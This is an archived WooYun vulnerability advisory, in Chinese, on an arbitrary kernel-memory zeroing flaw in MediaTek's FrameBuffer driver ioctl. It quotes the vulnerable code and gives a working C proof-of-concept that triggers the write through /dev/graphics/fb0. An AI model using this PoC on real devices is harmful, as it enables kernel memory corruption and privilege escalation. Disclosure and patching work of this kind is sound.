当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0182433

漏洞标题:MTK FrameBuffer内核驱动任意地址数据改写漏洞

相关厂商:Mediatek

漏洞作者: 唐朝实验室

提交时间:2016-03-09 12:00

修复时间:2016-06-09 19:40

公开时间:2016-06-09 19:40

漏洞类型:权限提升

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-09: 细节已通知厂商并且等待厂商处理中
2016-03-11: 厂商已经确认,细节仅向厂商公开
2016-03-14: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-05: 细节向核心白帽子及相关领域专家公开
2016-05-15: 细节向普通白帽子公开
2016-05-25: 细节向实习白帽子公开
2016-06-09: 细节向公众公开

简要描述:

MTK FrameBuffer内核驱动是Linux内核中为方便用户态应用操作图形硬件相关功能的模块。其没有过滤输入数据,导致用户态应用可构造请求完成内核数据改写。

详细说明:

MTK FrameBuffer内核驱动是Linux内核中为了方便用户态应用操作图形硬件相关功能的模块。其通过/dev/graphics/fb0设备接口与用户态通信。
在处理MTKFB_CAPTURE_FRAMEBUFFER命令过程中,代码没有对用户传入的指针进行限定,导致可以对任意虚拟地址进行改写。如果覆盖的地址中包含类似uid的数据结构即可用于提权等目的。
以MediaTek-HelioX10-Kernel代码为例,在mtkfb_ioctl函数中相关代码如下:

static int mtkfb_ioctl(struct fb_info *info, unsigned int cmd, unsigned long arg)
{
...
case MTKFB_CAPTURE_FRAMEBUFFER:
{
unsigned int pbuf = 0;
if (copy_from_user(&pbuf, (void __user *)arg, sizeof(pbuf)))
{
MTKFB_LOG("[FB]: copy_from_user failed! line:%d \n", __LINE__);
r = -EFAULT;
}
else
{
dprec_logger_start(DPREC_LOGGER_WDMA_DUMP, 0, 0);
primary_display_capture_framebuffer_ovl(pbuf, eBGRA8888);
dprec_logger_done(DPREC_LOGGER_WDMA_DUMP, 0, 0);
}
return (r);
}
...
}


可以看到pbuf值直接来自于用户态提供的参数。之后其被传入
primary_display_capture_framebuffer_ovl函数

primary_display.c
int primary_display_capture_framebuffer_ovl(unsigned int pbuf, unsigned int format)
{
...
if (primary_display_is_sleepd()|| !primary_display_cmdq_enabled())
{
memset(pbuf, 0,buffer_size);
DISPMSG("primary capture: Fail black End\n");
goto out;
}
...
}


当息屏或primary_display_cmdq_enabled返回0时,都会直接调用memset函数,导致目标地址开始后buffer_size长度的内容清零。

漏洞证明:

#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <linux/ioctl.h>
#define MTK_IOW(num, dtype) _IOW('O', num, dtype)
#define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)
int main(int argc, char *argv[])
{
void *vaddr;
unsigned int write_addr;
int fd;
int ret;
const int mmap_size = 4096;
unsigned int io_code = MTKFB_CAPTURE_FRAMEBUFFER;
if (argc < 2) {
return -1;
}
vaddr = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
if (vaddr == MAP_FAILED) {
printf("[-] mmap failed\n");
return -1;
}
sscanf(argv[1], "%x", &write_addr);
printf("[.] Target addr: %08x\n", write_addr);
fd = open("/dev/graphics/fb0", O_RDWR);
if (fd < 0) {
printf("[-] Open device file failed %s\n", strerror(errno));
return -1;
}
memcpy(vaddr, &write_addr, sizeof(write_addr));
ret = ioctl(fd, io_code, vaddr);
if (ret < 0) {
printf("[-] ioctl failed: %s.\n", strerror(errno));
}
return 0;
}

修复方案:

过滤用户态应用传入参数

版权声明:转载请注明来源 唐朝实验室@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-03-11 19:31

厂商回复:

CNVD确认所述情况,已经转由CNCERT向TWCERT通报,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-09 12:47 | 陆由乙 ( 普通白帽子 | Rank:590 漏洞数:131 | 我是突突兔!)

    又来。

  2. 2016-03-09 13:46 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    666

  3. 2016-03-17 10:46 | 老中医 ( 实习白帽子 | Rank:67 漏洞数:5 | 柳随风摆花漂泊,华佗难医天下过,一曲未尽半...)

    mark